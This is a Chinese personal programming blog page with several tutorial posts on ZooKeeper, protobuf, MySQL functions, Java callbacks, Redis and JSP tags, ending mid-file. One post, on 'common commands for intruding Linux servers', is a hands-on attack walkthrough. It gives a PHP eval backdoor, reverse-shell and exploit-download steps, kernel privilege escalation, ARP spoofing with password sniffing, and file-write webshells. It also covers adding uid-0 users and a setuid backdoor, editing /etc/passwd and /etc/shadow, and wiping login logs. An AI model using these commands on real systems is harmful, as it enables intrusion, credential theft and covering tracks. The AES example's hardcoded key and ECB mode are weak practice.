派大星的博客

很多事情不是会了才能做,而是做了才能学会


  • 首页

  • 标签

  • 分类

  • 关于

  • 搜索

安装Dubbo的注册中心zookeeper

发表于 2019-04-01 | 分类于 Dubbo

安装环境:CentOs、JDK1.6以上

1. 下载zookeeper

1
wget http://mirrors.shu.edu.cn/apache/zookeeper/zookeeper-3.4.12/zookeeper-3.4.12.tar.gz

2. 解压

1
tar -zxvf zookeeper-3.4.12.tar.gz

3. 新建data目录

1
2
3
cd zookeeper-3.4.12

mkdir data

4.修改配置

1
2
3
4
5
6
cd conf #进行conf文件夹
# 修改配置文件名字
mv zoo_sample.cfg zoo.cfg

# 修改zoo.cfg文件, dataDIr = [刚才新建的data文件夹路径]
dataDir=/usr/local/zookeeper/zookeeper-3.4.12/data

5. 启动zookeeper服务

1
2
3
4
5
6
7
cd bin #进入bin目录
# 启动服务
./zkServer.sh start

# 查看服务状态
./zkServer.sh status
# 如果为:Mode: standalone 则证明启动成功

6. 查看当前注册的结点

1
2
# 启动zookpeer客户端
./zkCli.sh

这里写图片描述

1
2
ls /
ls /dubbo

这里写图片描述

protobuf文件详解

发表于 2019-03-30 | 分类于 go,gRPC

通信方式

  1. 一个请求对象对应一个返回对象

    1
    rpc Login(LoginRequest) returns (LoginResponse) {}
  2. 一个请求对象,服务器返回多个结果

    1
    rpc Login(LoginRequest) returns (stream LoginResponse) {}

3.多个请求对象,一个返回结果

1
rpc Login(stream LoginRequest) returns (LoginResponse) {}

4.多个请求对象,服务器返回多个结果

1
rpc Login(stream LoginRequest) returns (stream LoginResponse) {}

关键字 stream 表示多个值

Protobuf定义

  • syntax=”proto3”;

    文件的第一行指定了你使用的是proto3的语法:如果你不指定,protocol buffer 编译器就会认为你使用的是proto2的语法。这个语句必须出现在.proto文件的非空非注释的第一行。

  • package user;

    编译完成之后,包名为user

  • service 定义服务

    1
    2
    3
    service UserService {
    rpc Login(LoginRequest) returns (LoginResponse);
    }
  • message 定义结构体

    1
    2
    3
    4
    message LoginRequest {
    string username=1;
    string password=2;
    }

数据类型

  • strings 默认值是空字符串

  • int32 默认是0(编译之后为go语言中的int类型)

  • int64 默认是0 (编译之后为go语言中的int64)

  • float 默认为0.0 (编译之后为go语言中的 float32)

  • double 默认为0.0 (编译之后为go语言中的 float64)

  • uint32 (编译之后为go语言中的 uint32)

  • uint64 (编译之后为go语言中的 uint64)

  • bytes 默认值是空bytes

  • bool 默认值是false

  • enum 默认值是第一个枚举值(value必须为0)

    字段修饰符

  • repeated:用来定义数组,一个字段可以重复出现一定次数(包括零次)

  • required:值不可为空 (proto3中已删除)

  • optional:可选字段 (proto3中已删除)

  • singular:符合语法规则的消息包含零个或者一个这样的字段 (proto3中已删除)

  • 默认值: string code=2 [default=200]; (proto3中已删除)

    其他类型

  1. 枚举定义
1
2
3
4
5
6
7
//枚举类型,必须从0开始,序号可跨越。同一包下不能重名,所以加前缀来区别
enum Role {
Role_Admin=0;
Role_Guest=1;
Role_User=2;
Role_Other=9;
}
  1. Map类型
    1
    map<key_type, value_type> map_field = N;

其中key_type可以是任意Integer或者string类型(所以,除了floating和bytes的任意标量类型都是可以的)value_type可以是任意类型。

例如,如果你希望创建一个project的映射,每个Projecct使用一个string作为key

1
map<string, Project> projects = 3;

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
syntax="proto3";
package user;

service UserService{
// 注册
rpc Signup(SignupRequest) returns (SignupResponse);
}
// 定义错误枚举,必须从0开始
enum LoginError {
//密码错误
Error_Password=0;
//用户名错误
Error_UserName=1;
//内部服务器错误
Error_Server=9;
}
message ID {
int32 id=1;
}

// 注册请求体
message SignupRequest {
string username=1;
string password=2;
int32 code=3;
// 数组
repeated string hobby=4;
// map
map<string,string> maps = 5;
}
//注册响应体
message SignupResponse {
ID id=1;
int32 code=2 [default=200];
string msg=3;
}

Google中提供的特殊类型

待定。。。

数据校验

插件地址及文档:https://github.com/envoyproxy/protoc-gen-validate

流的使用

1
rpc GetStatus (GetReq) return (stream GetResp);

service实现

1
2
3
4
5
6
7
8
9
10
11
12
func (HelloService) GetStatus(req *pb.GetReq,stream pb.HelloService_GetStatusServer) err {
for i:=0;i<10;i++{
stream.Send(&pb.GetResp{
Status: i,
})
if err:=stream.Context().Err();err!=nil {
fmt.Println("客户端关闭流...")
return err
}
}
return nil
}

使用grpc-web访问流:
文档:https://github.com/grpc/grpc-web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var helloService= new proto.mypackage.HelloServiceClient('http://localhost:8080');
var getReq= new proto.mypackage.GetReq();
getReq.setMessage(msg);
var metadata = {'custom-header-1': 'value1'};
var stream = helloService.getStatus(getReq, metadata);
stream.on('data', function(response) {
console.log(response.getStatus());
});
stream.on('status', function(status) {
console.log(status.code);
console.log(status.details);
console.log(status.metadata);
});
stream.on('end', function(end) {
// stream end signal
});

Mysql中的SQL函数

发表于 2019-03-30 | 分类于 数据库

算术函数

  • ABS :取绝对值
  • MOD:取余
  • ROUND:四舍五入时指定小数点位数
1
2
3
4
5
SELECT ABS(-1);  # 结果为 1

SELECT MOD(22,5); # 22%5 结果为 2

SELECT ROUND(15.43,1); # 结果为 15.4

字符串函数

  • CONCAT: 将多个字符串连接起来
  • LENGTH: 计算字段的长度,一个汉字算三个字符,字母和数字算一个字符
  • CHAR_LENGTH:所有都算做一个字符
  • LOWER:全部转为小写
  • UPPER:全部转为大写
  • REPLACE:替换字符
  • SUBSTRING:截取字符串(字符串, 开始截取位置, 截取长度)
    1
    2
    3
    4
    5
    6
    7
    SELECT CONCAT("%","pibigstar"); # 结果为 %pibigstar
    SELECT LENGTH("你好"); # 结果为 6
    SELECT CHAR_LENGTH("你好"); # 结果为 2
    SELECT LOWER("AB"); # 结果为 ab
    SELECT UPPER("ab") # 结果为 AB
    SELECT REPLACE("abc","a", "f"); # 结果为 fbc
    SELECT SUBSTRING("abc", 1, 2); # 结果为 ab

日期函数

  • CURRENT_DATE:系统当前日期
  • CURRENT_TIME:系统当前时间
  • CURRENT_TIMESTAMP:系统当前时间(日期+时间)
  • ECTRACT:抽取具体的年、月、日
  • DATE:返回时间的日期部分
  • YEAR:返回时间的年份部分
  • MONTH:返回时间的月份部分
  • DAY:返回时间的天数部分
  • HOUR:返回时间的小时部分
  • MINUTE:返回时间的分钟部分
  • SECOND: 返回时间的秒部分
    1
    2
    3
    4
    5
    6
    SELECT CURRENT_DATE(); # 2019-06-29
    SELECT CURRENT_TIME(); # 21:44:33
    SELECT CURRENT_TIMESTAMP(); # 2019-06-29 21:44:33
    SELECT EXTRACT(YEAR FROM '2019-06-29'); # 2019
    SELECT DATE('2019-06-29 21:44:33'); # 2019-06-29
    SELECT DAY('2019-06-29 21:44:33'); # 29

转换函数

  • CAST:强制数据类型转换
  • COALESCE:返回第一个非空数值
    1
    2
    SELECT CAST(65.243 AS DECIMAL(8,2)); # 65.24
    SELECT COALESCE(null,null,2,3); # 2

聚合函数

  • SUM:求和
  • AVG:求平均值
  • MAX:找出最大值
  • MIN:找出最小值
  • COUNT:计数
    1
    2
    3
    4
    5
    6
    7
    SELECT SUM(age) FROM user;
    SELECT AVG(age) FROM user;
    SELECT MAX(age) FROM user;
    SELECT MIN(age) FROM user;
    SELECT COUNT(*) FROM user; # 计录全部行数,包括null
    SELECT COUNT(age) FROM user; # 如果age为null,将过滤
    SELECT COUNT(*) FROM user GROUP BY age;

在SELECT的查询中,关键字的顺序不能颠倒,它们的顺序为:

1
SELECT...FROM...WHERE...GROUP BY...HAVING...ORDER BY...LIMIT...

使用Callable实现不同回调函数

发表于 2019-03-26 | 分类于 Java,架构

针对不同的场景,我们可能需要不同的回调,每一个回调操作是不同的

定义回调操作抽象类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public abstract abstract class Operation<V> implements Callable<V> {
/** 内部具体的执行操作 */
protected abstract V run() throws HttpRequestException, IOException;

/** 执行完成后的回调 **/
protected abstract void done() throws IOException;

/** 内部进行一列的异常捕获,确保 run 函数 和 done函数 正常执行 **/
public V call() throws HttpRequestException {
boolean thrown = false;
try {
return run();
} catch (HttpRequestException e) {
thrown = true;
throw e;
} catch (IOException e) {
thrown = true;
throw new HttpRequestException(e);
} finally {
try {
done();
} catch (IOException e) {
if (!thrown) {
throw new HttpRequestException(e);
}
}
}
}
}

我们定义一个 call函数,内部调用 run 和 done函数,这样我们可以针对不同的回调,我们可以继承此抽象类,实现不同 的 done 函数,来达到实现不同的回调操作,run 函数是调用者要实现的

实现一个自由控制的关闭回调

我们通过ignoreCloseExceptions 参数,来控制是否当 done 发生异常时,程序是忽略还是终止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public abstract class CloseOperation<V> extends Operation<V> {

private final Closeable closeable;
private final boolean ignoreCloseExceptions;

protected CloseOperation(final Closeable closeable, final boolean ignoreCloseExceptions) {
this.closeable = closeable;
this.ignoreCloseExceptions = ignoreCloseExceptions;
}
@Override
protected void done() throws IOException {
if (closeable instanceof Flushable) {
((Flushable) closeable).flush();
}
if (ignoreCloseExceptions) {
try {
closeable.close();
} catch (IOException e) {
// Ignored,如果发生异常了,程序继续执行,会忽略掉此异常
}
} else {
// 如果发生异常了,此时程序会退出
closeable.close();
}
}
}

实现一个流刷新操作,确保流正常刷新到底层

1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class FlushOperation<V> extends Operation<V> {

private final Flushable flushable;

protected FlushOperation(final Flushable flushable) {
this.flushable = flushable;
}

@Override
protected void done() throws IOException {
flushable.flush();
}
}

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
new CloseOperation<HttpRequest>(reader, ignoreCloseExceptions) {
@Override
public HttpRequest run() throws IOException {
return copy(reader, writer);
}
}.call();


new FlushOperation<HttpRequest>(writer) {
@Override
protected HttpRequest run() throws IOException {
return copy(input, writer);
}
}.call();

入侵Linux服务器常用命令

发表于 2019-03-25 | 分类于 Linux,渗透

写个php一句话后门上去:

1
2
$ echo -e "<?php @eval($_POST[md5])?>" >rankuplog_time.php
​$ cat rankuplog_time.php

1.linux的想着先跨站。

shell浏览目标站不行,命令行下输入

1
ls -la /www.users/

2.溢出提权

1
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);

来得到交互的Shell,一般的系统都默认安装python

输入id

1
2
3
bash-3.2$ id
uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
bash-3.2$

这里uid=529(zeicom)还不是root权限,

输入uname –r
返回:2.6.18-164.11.1.el5PAE

2. Linux提权大致可分为

  • 第三方软件漏洞
  • 本地信任特性
  • 内核溢出

找对应的exp

这里地址整理很齐全可以这里下

  • http://tools.90sec.org/
  • http://sebug.net/paper/linux_exp/
  • http://x73.cc/bitch/exp/
  • http://www.exploit-db.com/search/

  1. 命令输入pwd,这个命令是显示当前目录,
  2. 先看能不能编译 gcc -help
  3. 当前目录就是shell的目录,我在shell上传2.c
  4. 反弹shell 到外网自己机器的12345端口
  5. 上外网服务器 本地监听 nc -lvvp 12345

一般都能得到一个apache交互的shell 有时候又不行

这时候

1
# python -c  impotr pty;pty.spawn("/bin/sh");

然后

1
2
3
4
5
6
7
8
# 进入tmp目录 
cd /tmp
# 创建一个Papers的目录 Papers不显眼
mkdir Papers
# 进入 Papers目录
cd Papers
# 查看当前目录
pwd

然后命令输入

1
wget 下载exp的URL

把2.c编译成可执行文件 g++ keio.cc -o keio

1
gcc –o 2 2.c

给2有执行权限

1
chmod +x 2

执行2, 溢出

1
./2

执行

1
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

确定arpsniffer.c需要先装pcap和 libnet。

1
2
3
4
5
6
7
8
9
10
11
12
13
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
# 下载
wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
# 解压
tar zxvf libpcap-0.8.1.tar.gz
# 进入目录
cd libpcap-0.8.1
# 执行
./configure
# 编译
make
# 安装
make install

重新编译arpsniffer.c
再次执行

1
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。
运行

1
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

3. 下面开始欺骗

由于是服务器端,因此我们欺骗网关:
(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
执行

1
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

在另一个登录里面用tcpdump监听下

1
tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

1
tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。

先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(ntohs(tcp->dest)==21)  p=1; /* ftp */

if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==80) p=1; /* http */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

编译执行

1
[root@pibigstar root]# gcc -o linsniffer linsniffer.c

会提示下面

In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!

不用管警告,直接运行编译后的linsniffer即可。

1
[root@pibigstar root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。

4.利用跨站代码

linux不提权跨目录访问的代码

linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。

在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。

代码如下:

1
2
3
4
5
6
7
8
9
$path = stripslashes($_GET[ path ]);

$ok = chmod ($path , 0777);

if ($ok == true)

echo CHMOD OK , Permission editable file or directory. Permission to write;

?>

把上面代码保存为tmdsb.PHP

然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php

这里的index.PHP是要修改权限的文件。

收集的另一个exp:

把下面的代码保存为exp.PHP

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
@$filename = stripslashes($_POST[ filename ]);

@$mess = stripslashes($_POST[ mess ]);

$fp = @fopen({$_POST[ filename ]}, a );

@fputs($fp,$mess

);

@fclose($fp);

?>

最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功

5. udev提权

换了个udev提权,适用于内核范围为2.6.*。

还是上传文件至服务器shell所在目录,执行命令ls,发现文件已经躺在那里面了,之后赋予exp执行权限。

1
2
3
4
5
chmod +x pwnkernel.c

chmod +x wunderbar_emporium.sh

chmod +x exploit.c

之后执行./w*溢出

成功溢出,root权限。

之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。

1
useradd -u 0 -o "username"

依次输入命令

1
2
3
4
5
6
7
8
9
10
11
cd /tmp

ls /lib/ld-linux*

cp /lib/ld-linux.so.2 /tmp/.str1ven

ls -l .str1ven

chmod +s .str1ven

ls -l .str1ven

-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven

成功建立一个后门,退出root,执行

1
./.str1ven `which whoami`

又成功获取root权限~~

1
2
3
4
5
6
7
8
9
10
11
12
# 查看linux用户
cat /etc/passwd
# 查看用户密码需要root权限
cat /etc/shadow
# N代表网卡号 查看所在网卡的ip信息
cat /etc/sysconfig/network-scripts/ifcfg-ethn
# 查看本机ip信息
ifconfig
# 查看DNS信息
cat /etc/resolv.conf
在反弹的shell中使用可以直观显示命令
bash -i

bash prompt:
当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成bash#。

系统变量:
试着echo "$USER / $EUID"系统应该会告诉你它认为你是什么用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo 1>/proc/sys/net/ipv4/if_forward,1>/proc/sys/net/ipv4/ip_forward
# 修改,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
vim /proc/sys/net/ipv4/ip_forward
# 查看80端口的进程
netstat -an |grep LISTEN |grep :80 查看端口
# 服务正在运行的进程
service --status-all | grep running
# 服务为http的进程
service --status-all | grep http
# 查看系统版本
lsb_release -a

# 重启ssh服务 :
/usr/sbin/sshd stop/
usr/sbin/sshd start

ssd_config文件里

PasswordAuthentication no

将其改为

PasswordAuthentication yes

远程ssh才可登录

否则显示Access denied

其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

su的菜鸟用法

先

1
chomod 777 /etc/passwd

然后修改bin用户的gid和uid为0

然后passwd设置bin的密码

然后

1
cp /bin/bash /sbin/nologin

然后su的时候

1
su - bin

就可以到rootshell了。

这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码的一种很菜鸟的做法。

还可以这样

1
2
3
4
5
6
7
8
9
10
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

gcc prtcl2.c –o local –static –Wall

echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd

echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

# 清空last记录
cp /dev/null /var/log/wtmp

建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的

1
2
3
4
5
6
dd if=/dev/zero of=yourfile bs=10M count=10 

# 开22端口
/etc/init.d/ssh start
# SSH服务配置文件
/etc/ssh/sshd_config

Go代码风格检查脚本

发表于 2019-03-24 | 分类于 go

Go代码风格检查脚本

check.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

cd "${GOPATH}/src/github.com/pibigstar/go-demo"
# 判断是否有环形导入
gocyclo -over 25 $(ls -d */ | grep -v vendor | grep -v proto)
# 查找是否有错误
find . -type f -not -path "./vendor/*" | xargs -0 misspell -error
# 对所有代码进行格式化
find . -name "*.go" -not -path "./vendor/*" | xargs gofmt -w
# 对所有代码进行导入格式化
find . -name "*.go" -not -path "./vendor/*" | xargs goimports -w
# 判断前后两次是否有差别,如果有则退出
git diff --exit-code

SpringBoot前后端数据传输加密

发表于 2019-03-24 | 分类于 Java,springboot,SpringBoot技能大全

采用的算法为AES算法

1. 编写加密工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.pibigstar.utils;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;

/**
* 前后端数据传输加密工具类
* @author pibigstar
*
*/
public class AesEncryptUtils {
//可配置到Constant中,并读取配置文件注入
private static final String KEY = "abcdef0123456789";

//参数分别代表 算法名称/加密模式/数据填充方式
private static final String ALGORITHMSTR = "AES/ECB/PKCS5Padding";

/**
* 加密
* @param content 加密的字符串
* @param encryptKey key值
* @return
* @throws Exception
*/
public static String encrypt(String content, String encryptKey) throws Exception {
KeyGenerator kgen = KeyGenerator.getInstance("AES");
kgen.init(128);
Cipher cipher = Cipher.getInstance(ALGORITHMSTR);
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(encryptKey.getBytes(), "AES"));
byte[] b = cipher.doFinal(content.getBytes("utf-8"));
return Base64.encodeBase64String(b);
}

/**
* 解密
* @param encryptStr 解密的字符串
* @param decryptKey 解密的key值
* @return
* @throws Exception
*/
public static String decrypt(String encryptStr, String decryptKey) throws Exception {
KeyGenerator kgen = KeyGenerator.getInstance("AES");
kgen.init(128);
Cipher cipher = Cipher.getInstance(ALGORITHMSTR);
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(decryptKey.getBytes(), "AES"));
byte[] encryptBytes = Base64.decodeBase64(encryptStr);
byte[] decryptBytes = cipher.doFinal(encryptBytes);
return new String(decryptBytes);
}

public static String encrypt(String content) throws Exception {
return encrypt(content, KEY);
}
public static String decrypt(String encryptStr) throws Exception {
return decrypt(encryptStr, KEY);
}


public static void main(String[] args) throws Exception {
String content = "派大星";
System.out.println("加密前:" + content);

String encrypt = encrypt(content, KEY);
System.out.println("加密后:" + encrypt);

String decrypt = decrypt(encrypt, KEY);
System.out.println("解密后:" + decrypt);
}
}

2. 前端

js 文件下载:https://pan.baidu.com/s/11LnXUnsMtGW5C8sycf2SDQ

导入 js 文件

1
2
3
<script type="text/javascript" src = "js/aes.js"></script>
<script type="text/javascript" src = "js/pad-zeropadding.js"></script>
<script type="text/javascript" src = "js/security.js"></script>

发送数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function sendData() {
alert("发送的数据:"+Encrypt(JSON.stringify({name:"派大星"})));
$.ajax({
type: "POST",
url:"/save",
data:Encrypt(JSON.stringify({name:"派大星"})),
dataType:'json',
contentType: "application/json",
success: function(resData) {
alert("返回的数据:"+resData);
alert("解密之后:"+Decrypt(resData));
alert("解密之后转json对象:"+JSON.parse(Decrypt(resData)).name);
}
});
}

Go语言入门(3)beego的安装与使用

发表于 2019-03-21 | 分类于 go

1. 安装库

可参考 :https://beego.me/quickstart

1
go get -u github.com/astaxie/beego

再安装bee

1
go get -u github.com/beego/bee

2. 配置bee的环境变量

在环境变量 path 中新加入 一个 %GOPATH%/bin

3. 测试

在cmd 命令窗口中输入 : bee 即可

4. 使用

4.1 新建一个beego项目

在cmd 命令行窗口中输入:

1
bee new myfirst

4.2 运行

先进入你生成的 项目中:

1
cd myfirst

运行

1
bee run

如果没报错,并且浏览器访问 http://127.0.0.1:8080 出现欢迎页面则证明一切OK

SpringBoot使用redis

发表于 2019-03-21 | 分类于 Java,springboot,redis,SpringBoot技能大全

[TOC]

1. 下载redis和工具

  1. redis服务器下载: 点击这里
  2. 解压,双击start.bat启动服务
  3. 下载redis桌面管理程序:点击这里
  4. 安装即可

2. 加载redis的jar包

在SpringBoot的pom.xml文件中加入下列内容

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-redis</artifactId>
</dependency>

3. 添加配置文件

在application.yml文件中加入下列内容

1
2
3
4
5
6
7
8
9
10
11
12
13
spring:
redis:
host: 127.0.0.1
port: 6379
database: 1 # 设置数据库索引为1 默认为0
password: # 密码为空
jedis:
pool:
max-active: 1000 # 连接池最大连接数(使用负值表示没有限制)
max-wait: -1 # 连接池最大阻塞等待时间(使用负值表示没有限制)
max-idle: 10 # 连接池中的最大空闲连接
min-idle: 2 # 连接池中的最小空闲连接
timeout: 5000 # 连接超时时间(毫秒)

4. 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Autowired
private RedisService redisService;

@GetMapping("test")
public String test() {
User user = new User();
user.setId(1001);
user.setName("pibigstar");
user.setPassword("123456");
//存数据
redisService.setObject("my:user",JSON.toJSONString(user));
//取数据
String json = redisService.getObject("my:user");
JSONObject parseObject = JSON.parseObject(json);
User myUser = JSON.toJavaObject(parseObject, User.class);
return myUser.toString();
}

使用的JSON工具为fastjson

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

5. 在redis工具中查看数据

6. 封装工具类

6.1 JSON工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.pibigstar.utils;

import java.util.List;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;

/**
* JSON工具类
* @author pibigstar
*
*/
public class JSONUtil {

/**
* java对象转换为JSON字符串
* @param object
* @return
*/
public static String ObjectToJSON(Object object) {
return JSON.toJSONString(object);
}

/**
* JSON字符串转换为Java对象
* @param json
* @param obj
* @return
*/
public static <T> T jSONToObject(String json, Class<T> obj) {
JSONObject jsonObject = JSON.parseObject(json);
return (T) JSON.toJavaObject(jsonObject, obj);
}
/**
* List集合转换为JSON字符串
* @param list
* @return
*/
public static <T> String listToJSON(List<T> list) {
return JSONArray.toJSONString(list);
}

/**
* 将JSON字符串转换为List集合
* @param json
* @param obj
* @return
*/
public static <T> List<T> JSONToList(String json,Class<T> obj){
return JSON.parseArray(json, obj);
}

}

6.2 redis操作工具类

简单的封装一下。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.pibigstar.springboot.service;

import java.util.concurrent.TimeUnit;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.stereotype.Component;

@Component
public class RedisService {
@Autowired
private StringRedisTemplate stringRedisTemplate;
@Autowired
private RedisTemplate<String, Object> redisTemplate;

/**
* 存储String类型数据
* @param key
* @param value
*/
public void set(String key,String value) {
stringRedisTemplate.opsForValue().set(key, value);
}
/**
* 存储String类型数据
* @param key
* @param value
* @param timeout 过期时间,单位:秒
*/
public void set(String key,String value,long timeout) {
stringRedisTemplate.opsForValue().set(key, value,timeout,TimeUnit.SECONDS);
}
/**
* 得到String类型数据
* @param key
* @return
*/
public String get(String key) {
return stringRedisTemplate.opsForValue().get(key);
}

/**
* 存储object对象
* @param key
* @param value
*/
public void setObject(String key,Object value) {
redisTemplate.opsForValue().set(key, value);
}
/**
* 存储object对象
* @param key
* @param value
* @param timeout 过期时间,单位:秒
*/
public void setObject(String key,Object value,long timeout) {
redisTemplate.opsForValue().set(key, value,timeout,TimeUnit.SECONDS);
}
/**
* 得到Object对象
* @param key
* @return
*/
public Object getObject(String key) {
return redisTemplate.boundValueOps(key).get();
}

}

JSP自定义标签使用详解

发表于 2019-03-17 | 分类于 jsp

JSP自定义标签使用详解

简单写一个可以从数据库中读取配置的单选按钮组件

1. Java部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package com.pibgstar.demo.tags;
import javax.servlet.jsp.JspException;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.tagext.SimpleTagSupport;
import java.io.IOException;
import java.util.ArrayList;

/**
* @author pibigstar
* @create 2018-12-02 17:16
* @desc 自定义radio组件
**/
public class RadioTagSupport extends SimpleTagSupport{

private String code;
private String tip;
private String key;
private String value;
private ArrayList<RadioVo> list;

@Override
public void doTag() throws JspException, IOException {
getData();
StringBuilder sp = new StringBuilder();
sp.append("<div class='radio'>");
sp.append("<span class='tip'>");
sp.append(this.getTip());
sp.append("</span>");
for (RadioVo r: list) {
sp.append("<input type='radio' ");
sp.append("name='");
sp.append(r.getName());
sp.append("' value='");
sp.append(r.getValue());
if (r.getChecked()) {
sp.append("' checked />");
}else {
sp.append("' />");
}

sp.append(r.getShowValue());
}
sp.append("</div>");

JspWriter out = getJspContext().getOut();
out.write(sp.toString());
// 从body中获取值
//StringWriter sw = new StringWriter();
//getJspBody().invoke(sw);
//getJspContext().getOut().write(sw.toString());

}

private void getData() {
list = new ArrayList();
// 这里可以通过code值,拿到数据库中自己配置的值,这里只是简单的封装几个固定的值
RadioVo r1 = new RadioVo();
r1.setName("sex");
r1.setValue("1");
r1.setShowValue("男");
RadioVo r2= new RadioVo();
r2.setName("sex");
r2.setValue("2");
r2.setShowValue("女");
}

public String getCode() {
return code;
}

public void setCode(String code) {
this.code = code;
}

public String getTip() {
return tip;
}

public void setTip(String tip) {
this.tip = tip;
}

public String getKey() {
return key;
}

public void setKey(String key) {
this.key = key;
}

public String getValue() {
return value;
}

public void setValue(String value) {
this.value = value;
}

public ArrayList<RadioVo> getList() {
return list;
}

public void setList(ArrayList<RadioVo> list) {
this.list = list;
}
}


class RadioVo {
private String name;
private String value;
private String showValue;
private Boolean checked;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getValue() {
return value;
}

public void setValue(String value) {
this.value = value;
}

public String getShowValue() {
return showValue;
}

public void setShowValue(String showValue) {
this.showValue = showValue;
}

public Boolean getChecked() {
return checked;
}

public void setChecked(Boolean checked) {
this.checked = checked;
}
}

2. tld编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8" ?>
<taglib xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-jsptaglibrary_2_1.xsd"
version="2.1">
<description>JSP 自定义标签</description>
<display-name>pibigstar core</display-name>
